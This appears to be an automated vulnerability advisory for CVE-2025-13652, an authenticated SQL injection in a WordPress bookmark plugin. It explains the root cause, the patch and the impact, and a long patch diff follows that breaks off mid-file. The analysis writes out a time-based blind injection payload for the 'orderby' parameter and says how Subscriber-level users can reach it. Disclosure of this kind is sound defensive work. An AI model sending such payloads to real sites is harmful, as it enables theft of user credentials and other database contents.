Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13652: CBX Bookmark & Favorite <= 2.0.4 – Authenticated (Subscriber+) SQL Injection via `orderby` Parameter (cbxwpbookmark)

Plugin cbxwpbookmark
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 2.0.4
Patched Version 2.0.5
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13652:
This vulnerability is an authenticated SQL injection in the CBX Bookmark & Favorite WordPress plugin. Attackers with Subscriber-level access or higher can inject arbitrary SQL commands via the ‘orderby’ parameter. The flaw affects all plugin versions up to and including 2.0.4, enabling sensitive database information extraction.

The root cause lies in the cbxbookmark_post_html() function within /includes/Helpers/CBXWPBookmarkHelper.php. The function directly concatenates user-controlled input into SQL ORDER BY clauses without proper validation or escaping. Specifically, the $order_by variable (line 1304) receives user input via the ‘orderby’ parameter from $_POST. This unsanitized value is then interpolated into SQL queries at lines 1413 and 1423, where it becomes part of the ORDER BY clause. The plugin’s reliance on string concatenation rather than prepared statements for column names creates the injection vector.

Exploitation requires an authenticated WordPress user with at least Subscriber privileges. Attackers send POST requests to WordPress AJAX endpoints that invoke the vulnerable function, such as those handling bookmark listing operations. The payload is delivered via the ‘orderby’ parameter, which accepts SQL injection syntax. For example, an attacker could submit ‘orderby=id,(SELECT CASE WHEN (1=1) THEN id ELSE sleep(5) END)’ to perform time-based blind SQL injection, extracting data through conditional delays.

The patch in version 2.0.5 introduces multiple validation layers. First, it adds input sanitization using absint() for numeric parameters and esc_attr() for string parameters. Crucially, it implements an allowlist validation check: the function cbxwpbookmarks_bookmark_sortable_keys() defines permitted column names, and line 1316 validates $order_by against this list. If the input doesn’t match allowed values, it defaults to ‘id’. The patch also standardizes table name references using curly braces for clarity and adds strict comparison operators to prevent type juggling issues.

Successful exploitation allows complete database compromise within the WordPress installation’s context. Attackers can extract sensitive information including user credentials (hashed passwords), personal data, API keys, and other plugin-specific data. While the CVSS score of 6.5 reflects the authentication requirement, the impact is severe as it enables full database exfiltration through standard SQL injection techniques like UNION-based or blind injection.

Differential between vulnerable and patched code

Code Diff
--- a/cbxwpbookmark/cbxwpbookmark.php
+++ b/cbxwpbookmark/cbxwpbookmark.php
@@ -15,7 +15,7 @@
  * Plugin Name:       CBX Bookmark & Favorite
  * Plugin URI:        https://codeboxr.com/product/cbx-wordpress-bookmark
  * Description:       List/category based bookmark for WordPress, create your own private or public list of favorite posts, page, custom object
- * Version:           2.0.4
+ * Version:           2.0.5
  * Author:            Codeboxr Team
  * Author URI:        https://codeboxr.com
  * License:           GPL-2.0+
@@ -31,7 +31,7 @@


 defined( 'CBXWPBOOKMARK_PLUGIN_NAME' ) or define( 'CBXWPBOOKMARK_PLUGIN_NAME', 'cbxwpbookmark' );
-defined( 'CBXWPBOOKMARK_PLUGIN_VERSION' ) or define( 'CBXWPBOOKMARK_PLUGIN_VERSION', '2.0.4' );
+defined( 'CBXWPBOOKMARK_PLUGIN_VERSION' ) or define( 'CBXWPBOOKMARK_PLUGIN_VERSION', '2.0.5' );
 defined( 'CBXWPBOOKMARK_BASE_NAME' ) or define( 'CBXWPBOOKMARK_BASE_NAME', plugin_basename( __FILE__ ) );
 defined( 'CBXWPBOOKMARK_ROOT_PATH' ) or define( 'CBXWPBOOKMARK_ROOT_PATH', plugin_dir_path( __FILE__ ) );
 defined( 'CBXWPBOOKMARK_ROOT_URL' ) or define( 'CBXWPBOOKMARK_ROOT_URL', plugin_dir_url( __FILE__ ) );
@@ -41,7 +41,7 @@

 defined( 'CBXWPBOOKMARK_PHP_MIN_VERSION' ) or define( 'CBXWPBOOKMARK_PHP_MIN_VERSION', '7.4' );
 defined( 'CBXWPBOOKMARK_WP_MIN_VERSION' ) or define( 'CBXWPBOOKMARK_WP_MIN_VERSION', '5.3' );
-defined( 'CBXWPBOOKMARK_PRO_VERSION' ) or define( 'CBXWPBOOKMARK_PRO_VERSION', '2.0.4' );
+defined( 'CBXWPBOOKMARK_PRO_VERSION' ) or define( 'CBXWPBOOKMARK_PRO_VERSION', '2.0.5' );


 // Include the main Bookmark class.
@@ -141,13 +141,6 @@
 }//end method cbxwpbookmark_core


-
-/**
- * The core plugin class that is used to define internationalization,
- * admin-specific hooks, and public-facing site hooks.
- */
-//require plugin_dir_path( __FILE__ ) . 'includes/class-cbxwpbookmark.php';
-
 /**
  * Begins execution of the plugin.
  *
--- a/cbxwpbookmark/includes/CBXWPBookmark.php
+++ b/cbxwpbookmark/includes/CBXWPBookmark.php
@@ -1,7 +1,7 @@
 <?php

 use CBXWPBookmarkApiCbxRoute;
-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+
 use CBXWPBookmarkCBXWPBookmarkAdmin;
 use CBXWPBookmarkCBXWPBookmarkPublic;
 use CBXWPBookmarkCBXWPBookmarkMisc;
--- a/cbxwpbookmark/includes/CBXWPBookmarkAdmin.php
+++ b/cbxwpbookmark/includes/CBXWPBookmarkAdmin.php
@@ -4,7 +4,7 @@
 use CBXWPBookmarkCBXWPBookmarkSettings;
 use Exception;

-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+

 // If this file is called directly, abort.
 if ( ! defined( 'WPINC' ) ) {
@@ -126,10 +126,10 @@
 				'id'    => 'cbxwpbookmark_tools',
 				'title' => esc_html__( 'Tools', 'cbxwpbookmark' ),
 			],
-			/*[
+			[
 				'id'    => 'cbxwpbookmark_licences',
 				'title' => esc_html__( 'Pro Licences', 'cbxwpbookmark' ),
-			]*/
+			]
 		];

 		return array_merge( $sections, $extra_sections );
@@ -482,7 +482,7 @@
 		global $submenu;

 		//review listing page
-		$bookmark_list_page_hook = add_menu_page( esc_html__( 'CBX WP Bookmark Dashboard', 'cbxwpbookmark' ),
+		$dashboard_page_hook = add_menu_page( esc_html__( 'CBX WP Bookmark Dashboard', 'cbxwpbookmark' ),
 			esc_html__( 'CBX Bookmarks', 'cbxwpbookmark' ),
 			'cbxwpbookmark_dashboard_manage',
 			'cbxwpbookmark-dashboard',
@@ -944,11 +944,12 @@

 		if($pro_addon_version != '' && version_compare( $pro_addon_version, $pro_latest_version, '<' ) ){

-			$plugin_manual_update = 'https://codeboxr.com/manual-update-pro-addon/';
+			//$plugin_manual_update = 'https://codeboxr.com/manual-update-pro-addon/';
+			$plugin_manual_update = admin_url( 'admin.php?page=cbxwpbookmark-settings#cbxwpbookmark_licences' );


 			/* translators:translators: %s: plugin setting url for licence */
-			$custom_message     = wp_kses(sprintf( __( '<strong>Note:</strong> CBX Bookmark & Favorite Pro Addon is custom plugin. This plugin can not be auto update from dashboard/plugin manager. For manual update please check <a target="_blank" href="%1$s">documentation</a>. <strong style="color: red;">It seems this plugin's current version is older than %2$s . To get the latest pro addon features, this plugin needs to upgrade to %2$s or later.</strong>', 'cbxwpbookmark' ), esc_url( $plugin_manual_update ), $pro_latest_version ), ['strong' => ['style' => []],'a' => ['href' => [], 'target' => []]]);
+			$custom_message     = wp_kses(sprintf( __( '<strong>Note:</strong> CBX Bookmark & Favorite Pro Addon is custom plugin. <strong style="color: red;">It seems this plugin's current version is older than %2$s . To get the latest pro addon features, this plugin needs to upgrade to %2$s or later.</strong>', 'cbxwpbookmark' ), $pro_latest_version, $pro_latest_version ), ['strong' => ['style' => []],'a' => ['href' => [], 'target' => []]]);

 			// Output a row with custom content
 			echo '<tr class="plugin-update-tr">
@@ -1014,7 +1015,10 @@
 			$links_array[] = '<a target="_blank" style="color:#005ae0 !important; font-weight: bold;" href="https://wordpress.org/support/plugin/cbxwpbookmark/" aria-label="' . esc_attr__( 'Free Support', 'cbxwpbookmark' ) . '">' . esc_html__( 'Free Support', 'cbxwpbookmark' ) . '</a>';
 			$links_array[] = '<a target="_blank" style="color:#005ae0 !important; font-weight: bold;" href="https://wordpress.org/plugins/cbxwpbookmark/#reviews" aria-label="' . esc_attr__( 'Reviews', 'cbxwpbookmark' ) . '">' . esc_html__( 'Reviews', 'cbxwpbookmark' ) . '</a>';
 			$links_array[] = '<a target="_blank" style="color:#005ae0 !important; font-weight: bold;" href="https://codeboxr.com/doc/cbxwpbookmark-doc/" aria-label="' . esc_attr__( 'Documentation', 'cbxwpbookmark' ) . '">' . esc_html__( 'Documentation', 'cbxwpbookmark' ) . '</a>';
-			$links_array[] = '<a target="_blank" style="color:#005ae0 !important; font-weight: bold;" href="https://codeboxr.com/product/cbx-wordpress-bookmark/" aria-label="' . esc_attr__( 'Try Pro Addon', 'cbxwpbookmark' ) . '">' . esc_html__( 'Try Pro Addon', 'cbxwpbookmark' ) . '</a>';
+
+			if(!defined('CBXWPBOOKMARKADDON_PLUGIN_NAME')){
+				$links_array[] = '<a target="_blank" style="color:#005ae0 !important; font-weight: bold;" href="https://codeboxr.com/product/cbx-wordpress-bookmark/" aria-label="' . esc_attr__( 'Try Pro Addon', 'cbxwpbookmark' ) . '">' . esc_html__( 'Try Pro Addon', 'cbxwpbookmark' ) . '</a>';
+			}
 		}

 		return $links_array;
--- a/cbxwpbookmark/includes/CBXWPBookmarkMisc.php
+++ b/cbxwpbookmark/includes/CBXWPBookmarkMisc.php
@@ -6,7 +6,7 @@
 	exit; // Exit if accessed directly.
 }

-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+

 /**
  * Class CBXWPBookmarkMisc
--- a/cbxwpbookmark/includes/CBXWPBookmarkPublic.php
+++ b/cbxwpbookmark/includes/CBXWPBookmarkPublic.php
@@ -2,7 +2,7 @@
 namespace CBXWPBookmark;

 use CBXWPBookmarkCBXWPBookmarkSettings;
-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+

 use CBXWPBookmarkModelsCategory;
 use CBXWPBookmarkWidgetsElementorCBXWPBookmarkBtnElemWidget;
@@ -126,14 +126,14 @@

 		//phpcs:disable
 		if ( $bookmark_mode == 'user_cat' ) {
-			$cats_by_user = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $category_table WHERE user_id = %d ORDER BY $cats_by_user_orderby $cats_by_user_order", $user_id ), ARRAY_A );
+			$cats_by_user = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$category_table} WHERE user_id = %d ORDER BY $cats_by_user_orderby $cats_by_user_order", $user_id ), ARRAY_A );
 		} else {
-			$cats_by_user = $wpdb->get_results( "SELECT * FROM $category_table WHERE 1 ORDER BY $cats_by_user_orderby $cats_by_user_order", ARRAY_A );
+			$cats_by_user = $wpdb->get_results( "SELECT * FROM {$category_table} WHERE 1 ORDER BY $cats_by_user_orderby $cats_by_user_order", ARRAY_A );
 		}


 		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-		$post_in_cats_t = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT cat_id FROM $bookmark_table WHERE object_type = %s AND user_id = %d AND object_id = %d", [
+		$post_in_cats_t = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT cat_id FROM {$bookmark_table} WHERE object_type = %s AND user_id = %d AND object_id = %d", [
 			$object_type,
 			$user_id,
 			$object_id
@@ -414,11 +414,11 @@
 		$message  = [];

 		if ( isset( $_POST['limit'] ) && $_POST['limit'] != null ) {
-			$instance['limit'] = intval( $_POST['limit'] );
+			$instance['limit'] = absint( $_POST['limit'] );
 		}

 		if ( isset( $_POST['offset'] ) && $_POST['offset'] != null ) {
-			$instance['offset'] = intval( $_POST['offset'] );
+			$instance['offset'] = absint( $_POST['offset'] );
 		}

 		if ( isset( $_POST['catid'] ) ) {
@@ -432,7 +432,7 @@
 		}

 		if ( isset( $_POST['userid'] ) && $_POST['userid'] != 0 ) {
-			$instance['userid'] = intval( $_POST['userid'] );
+			$instance['userid'] = absint( $_POST['userid'] );
 		}

 		if ( isset( $_POST['order'] ) && $_POST['order'] != null ) {
@@ -632,10 +632,10 @@
 				}

 				// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
-				$cats_by_user = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $category_table WHERE user_id = %d", $user_id ), ARRAY_A );
+				$cats_by_user = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$category_table} WHERE user_id = %d", $user_id ), ARRAY_A );

 				// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				$post_in_cats_t = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT cat_id FROM $bookmark_table WHERE object_type = %s AND  user_id = %d AND object_id = %d", [
+				$post_in_cats_t = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT cat_id FROM {$bookmark_table} WHERE object_type = %s AND  user_id = %d AND object_id = %d", [
 					$object_type,
 					$user_id,
 					$object_id
@@ -740,10 +740,10 @@
 			if ( $return !== false ) {

 				// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
-				$cats_by_user = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $category_table WHERE user_id = %d", $user_id ), ARRAY_A );
+				$cats_by_user = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$category_table} WHERE user_id = %d", $user_id ), ARRAY_A );

 				// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				$post_in_cats_t = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT cat_id FROM $bookmark_table WHERE object_type = %s AND  user_id = %d AND object_id = %d", [
+				$post_in_cats_t = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT cat_id FROM {$bookmark_table} WHERE object_type = %s AND  user_id = %d AND object_id = %d", [
 					$object_type,
 					$user_id,
 					$object_id
@@ -885,7 +885,7 @@
 				//$delete_bookmark = $wpdb->delete($bookmark_table, array('cat_id' => $cat_id, 'user_id' => $user_id), array('%d', '%d'));

 				// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
-				$bookmarks_by_category = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $bookmark_table WHERE cat_id = %d", $cat_id ), ARRAY_A );
+				$bookmarks_by_category = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$bookmark_table} WHERE cat_id = %d", $cat_id ), ARRAY_A );

 				if ( $bookmarks_by_category != null ) {
 					foreach ( $bookmarks_by_category as $single_bookmark ) {
@@ -907,10 +907,10 @@
 					$object_type = isset( $_POST['object_type'] ) ? sanitize_text_field( wp_unslash( $_POST['object_type'] ) ) : 'post'; //post, page, user, product, any thing custom

 					// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
-					$cats_by_user = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $category_table WHERE user_id = %d", $user_id ), ARRAY_A );
+					$cats_by_user = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$category_table} WHERE user_id = %d", $user_id ), ARRAY_A );

 					// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
-					$post_in_cats_t = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT cat_id FROM $bookmark_table WHERE object_type = %s AND  user_id = %d AND object_id = %d", [
+					$post_in_cats_t = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT cat_id FROM {$bookmark_table} WHERE object_type = %s AND  user_id = %d AND object_id = %d", [
 						$object_type,
 						$user_id,
 						$object_id
--- a/cbxwpbookmark/includes/CBXWPBookmarkShortcodes.php
+++ b/cbxwpbookmark/includes/CBXWPBookmarkShortcodes.php
@@ -7,7 +7,7 @@
 }

 use CBXWPBookmarkCBXWPBookmarkSettings;
-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+

 /**
  * The customizer specific functionality of the plugin.
--- a/cbxwpbookmark/includes/Controllers/AdminDashboardController.php
+++ b/cbxwpbookmark/includes/Controllers/AdminDashboardController.php
@@ -5,7 +5,7 @@
 	exit; // Exit if accessed directly.
 }

-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+
 use Exception;
 use CBXWPBookmarkMigrationManage;

--- a/cbxwpbookmark/includes/Controllers/BookmarkController.php
+++ b/cbxwpbookmark/includes/Controllers/BookmarkController.php
@@ -7,7 +7,7 @@
 }

 use CBXWPBookmarkCBXWPBookmarkSettings;
-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+
 use CBXWPBookmarkModelsBookmark;
 use Exception;
 use WP_REST_Request;
--- a/cbxwpbookmark/includes/Controllers/CategoryController.php
+++ b/cbxwpbookmark/includes/Controllers/CategoryController.php
@@ -6,7 +6,7 @@
 	exit; // Exit if accessed directly.
 }

-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+
 use CBXWPBookmarkModelsCategory;
 use Exception;
 use CBXWPBookmarkScopedRakitValidationValidator;
--- a/cbxwpbookmark/includes/Controllers/CategoryFrontController.php
+++ b/cbxwpbookmark/includes/Controllers/CategoryFrontController.php
@@ -6,7 +6,7 @@
 	exit; // Exit if accessed directly.
 }

-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+
 use CBXWPBookmarkModelsCategory;
 use Exception;
 use CBXWPBookmarkScopedRakitValidationValidator;
--- a/cbxwpbookmark/includes/Helpers/CBXWPBookmarkHelper.php
+++ b/cbxwpbookmark/includes/Helpers/CBXWPBookmarkHelper.php
@@ -1303,11 +1303,21 @@

         $bookmark_mode = $settings->get_field( 'bookmark_mode', 'cbxwpbookmark_basics', 'user_cat' );

-        $limit    = isset( $instance['limit'] ) ? intval( $instance['limit'] ) : 10;
+        $limit    = isset( $instance['limit'] ) ? absint( $instance['limit'] ) : 10;
         $order_by = isset( $instance['orderby'] ) ? esc_attr( $instance['orderby'] ) : 'id';
         $order    = isset( $instance['order'] ) ? esc_attr( $instance['order'] ) : 'DESC';
         $type     = isset( $instance['type'] ) ? wp_unslash( $instance['type'] ) : []; //object type(post types), multiple as array

+        $order_arr = ['DESC', 'ASC'];
+        $order = strtoupper($order);
+        if(!in_array($order, $order_arr)) {
+            $order = 'DESC';
+        }
+
+        $order_by = trim($order_by);
+        if ( ! in_array( $order_by, cbxwpbookmarks_bookmark_sortable_keys() ) ) {
+            $order_by = 'id';
+        }

         //old format compatibility
         if ( is_string( $type ) ) {
@@ -1317,7 +1327,7 @@
         $type = array_filter( $type );


-        $offset = isset( $instance['offset'] ) ? intval( $instance['offset'] ) : 0;
+        $offset = isset( $instance['offset'] ) ? absint( $instance['offset'] ) : 0;
         $catid  = isset( $instance['catid'] ) ? wp_unslash( $instance['catid'] ) : [];
         if ( $catid == 0 || $catid == '0' ) {
             $catid = '';
@@ -1328,11 +1338,11 @@
         }
         $catid = array_filter( $catid );

-        $cattitle    = isset( $instance['cattitle'] ) ? intval( $instance['cattitle'] ) : 0; //Show category title
-        $allowdelete = isset( $instance['allowdelete'] ) ? intval( $instance['allowdelete'] ) : 0;
+        $cattitle    = isset( $instance['cattitle'] ) ? absint( $instance['cattitle'] ) : 0; //Show category title
+        $allowdelete = isset( $instance['allowdelete'] ) ? absint( $instance['allowdelete'] ) : 0;


-        $userid_attr = isset( $instance['userid'] ) ? intval( $instance['userid'] ) : 0;
+        $userid_attr = isset( $instance['userid'] ) ? absint( $instance['userid'] ) : 0;
         $userid      = absint( $userid_attr );


@@ -1355,17 +1365,17 @@
         $type_sql = '';


-        if ( $bookmark_mode != 'no_cat' ) {
+        if ( $bookmark_mode !== 'no_cat' ) {
             if ( is_array( $catid ) && sizeof( $catid ) > 0 ) {
                 $cats_ids_placeholders = implode( ',', array_fill( 0, count( $catid ), '%d' ) );
                 // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
                 $cat_sql = $wpdb->prepare( "AND cat_id IN ({$cats_ids_placeholders})", $catid );
             } else {
-                if ( $bookmark_mode == 'user_cat' ) {
+                if ( $bookmark_mode === 'user_cat' ) {
                     //same user seeing
                     if ( $privacy != 2 ) {
                         //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
-                        $cats = $wpdb->get_results( $wpdb->prepare( "SELECT *  FROM  {$category_table} WHERE user_id = %d AND privacy = %d", $userid, intval( $privacy ) ), ARRAY_A );
+                        $cats = $wpdb->get_results( $wpdb->prepare( "SELECT *  FROM  {$category_table} WHERE user_id = %d AND privacy = %d", $userid, absint( $privacy ) ), ARRAY_A );
                     } else {
                         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
                         $cats = $wpdb->get_results( $wpdb->prepare( "SELECT *  FROM  {$category_table} WHERE user_id = %d", $userid ), ARRAY_A );
@@ -1374,7 +1384,7 @@
                     $cats_ids = [];
                     if ( is_array( $cats ) && sizeof( $cats ) > 0 ) {
                         foreach ( $cats as $cat ) {
-                            $cats_ids[] = intval( $cat['id'] );
+                            $cats_ids[] = absint( $cat['id'] );
                         }

                         $cats_ids_placeholders = implode( ',', array_fill( 0, count( $cats_ids ), '%d' ) );
@@ -1387,10 +1397,10 @@

         $join = '';

-        if ( $order_by == 'title' ) {
+        if ( $order_by === 'title' ) {

             $posts_table = esc_sql( $wpdb->prefix . 'posts' ); //core posts table
-            $join        .= " LEFT JOIN $posts_table posts ON posts.ID = bookmarks.object_id ";
+            $join        .= " LEFT JOIN {$posts_table} posts ON posts.ID = bookmarks.object_id ";

             $order_by = 'posts.post_title';
         }
@@ -1403,15 +1413,17 @@
         }

         $param    = [ $userid, $offset, $limit ];
-        $main_sql = "SELECT *  FROM $bookmark_table AS bookmarks $join  WHERE user_id = %d $cat_sql $type_sql group by object_id ORDER BY $order_by $order LIMIT %d, %d";
+        $main_sql = "SELECT *  FROM {$bookmark_table} AS bookmarks {$join}  WHERE user_id = %d {$cat_sql} {$type_sql} group by object_id ORDER BY {$order_by} {$order} LIMIT %d, %d";

         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
         $items = $wpdb->get_results( $wpdb->prepare( $main_sql, $param ) );


+
         // checking If results are available
         if ( $items !== null && sizeof( $items ) > 0 ) {
             foreach ( $items as $item ) {
+
                 $action_html = ( $allowdelete ) ? '  <span class="cbxbookmark-delete-btn cbxbookmark-post-delete ld-ext-right icon icon-only" data-busy="0" data-object_id="' . absint( $item->object_id ) . '" data-object_type="' . esc_attr( $item->object_type ) . '" data-bookmark_id="' . absint( $item->id ) . '"><i class="cbx-icon cbx-icon-15">' . $delete_svg . '</i><i class="ld ld-ring ld-spin"></i><i class="sr-only">' . esc_attr__( 'Delete',
                                 'cbxwpbookmark' ) . '</i></span>' : '';

@@ -1442,10 +1454,7 @@
         ?>
         <?php

-        $output = ob_get_clean();
-
-
-        return $output;
+        return ob_get_clean();
     }//end cbxbookmark_post_html


@@ -1613,27 +1622,27 @@
         $user_bookmark_page_url = cbxwpbookmarks_mybookmark_page_url();
         $bookmark_mode          = $settings->get_field( 'bookmark_mode', 'cbxwpbookmark_basics', 'user_cat' );

-        if ( $bookmark_mode == 'no_cat' ) {
+        if ( $bookmark_mode === 'no_cat' ) {
             return '';
         }

-        $privacy    = isset( $instance['privacy'] ) ? intval( $instance['privacy'] ) : 1; //1 = public, 0 = private 2 = ignore
+        $privacy    = isset( $instance['privacy'] ) ? absint( $instance['privacy'] ) : 1; //1 = public, 0 = private 2 = ignore
         $order_by   = isset( $instance['orderby'] ) ? esc_attr( $instance['orderby'] ) : 'cat_name';
         $order      = isset( $instance['order'] ) ? esc_attr( $instance['order'] ) : 'ASC';
-        $show_count = isset( $instance['show_count'] ) ? intval( $instance['show_count'] ) : 0;
+        $show_count = isset( $instance['show_count'] ) ? absint( $instance['show_count'] ) : 0;
         $title      = isset( $instance['title'] ) ? esc_attr( $instance['title'] ) : '';


-        $display        = isset( $instance['display'] ) ? intval( $instance['display'] ) : 0;                //0 = list , 1 = dropdown
-        $show_bookmarks = isset( $instance['show_bookmarks'] ) ? intval( $instance['show_bookmarks'] ) : 0;  //0 = don't , 1 = show bookmarks as sublist
+        $display        = isset( $instance['display'] ) ? absint( $instance['display'] ) : 0;                //0 = list , 1 = dropdown
+        $show_bookmarks = isset( $instance['show_bookmarks'] ) ? absint( $instance['show_bookmarks'] ) : 0;  //0 = don't , 1 = show bookmarks as sublist
         $base_url       = isset( $instance['base_url'] ) ? esc_url( $instance['base_url'] ) : esc_url( $user_bookmark_page_url );

         if ( $base_url != '' ) {
             $user_bookmark_page_url = esc_url( $base_url );
         }

-        $allowedit = isset( $instance['allowedit'] ) ? intval( $instance['allowedit'] ) : 0;
-        $user_id   = isset( $instance['userid'] ) ? intval( $instance['userid'] ) : 0;
+        $allowedit = isset( $instance['allowedit'] ) ? absint( $instance['allowedit'] ) : 0;
+        $user_id   = isset( $instance['userid'] ) ? absint( $instance['userid'] ) : 0;


         $userid = $user_id;
@@ -1701,7 +1710,7 @@
                 );
             } elseif ( $bookmark_mode == 'global_cat' ) {
                 // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
-                $items = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM  $category_table WHERE 1  ORDER BY %s %s", $order_by, $order ) );
+                $items = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM  {$category_table} WHERE 1  ORDER BY %s %s", $order_by, $order ) );
             }


@@ -2611,10 +2620,10 @@

         if ( $object_type != '' ) {
             // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
-            $bookmarks = $wpdb->get_results( $wpdb->prepare( "SELECT log.* FROM $bookmark_table AS log WHERE log.object_id = %d ;", $object_id ), 'ARRAY_A' );
+            $bookmarks = $wpdb->get_results( $wpdb->prepare( "SELECT log.* FROM {$bookmark_table} AS log WHERE log.object_id = %d ;", $object_id ), 'ARRAY_A' );
         } else {
             // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
-            $bookmarks = $wpdb->get_results( $wpdb->prepare( "SELECT log.* FROM $bookmark_table AS log WHERE log.object_id = %d AND log.object_type = %s ;", $object_id, $object_type ), 'ARRAY_A' );
+            $bookmarks = $wpdb->get_results( $wpdb->prepare( "SELECT log.* FROM {$bookmark_table} AS log WHERE log.object_id = %d AND log.object_type = %s ;", $object_id, $object_type ), 'ARRAY_A' );
         }

         return $bookmarks;
@@ -2984,7 +2993,7 @@
         $bookmark_table = esc_sql( $wpdb->prefix . 'cbxwpbookmark' );

         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
-        $bookmarks = $wpdb->get_results( $wpdb->prepare( "SELECT *  FROM  $bookmark_table WHERE user_id = %d", $user_id ), ARRAY_A );
+        $bookmarks = $wpdb->get_results( $wpdb->prepare( "SELECT *  FROM  {$bookmark_table} WHERE user_id = %d", $user_id ), ARRAY_A );

         if ( $bookmarks !== null ) {
             return $bookmarks;
--- a/cbxwpbookmark/includes/Helpers/cbxwpbookmark-functions.php
+++ b/cbxwpbookmark/includes/Helpers/cbxwpbookmark-functions.php
@@ -1,6 +1,6 @@
 <?php

-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+
 use CBXWPBookmarkCBXWPBookmarkSettings;
 use CBXWPBookmarkScopedenshrinedsvgSanitizeSanitizer;

--- a/cbxwpbookmark/includes/Models/Bookmark.php
+++ b/cbxwpbookmark/includes/Models/Bookmark.php
@@ -6,7 +6,7 @@
 	exit; // Exit if accessed directly.
 }

-//use CBXWPBookmarkHelpersCBXWPBookmarkHelper;
+
 use CBXWPBookmarkCBXWPBookmarkSettings;
 use CBXWPBookmarkScopedIlluminateDatabaseEloquentModel as Eloquent;

--- a/cbxwpbookmark/includes/Models/PostModel.php
+++ b/cbxwpbookmark/includes/Models/PostModel.php
@@ -2,7 +2,7 @@

 namespace CBXWPBookmarkModels;

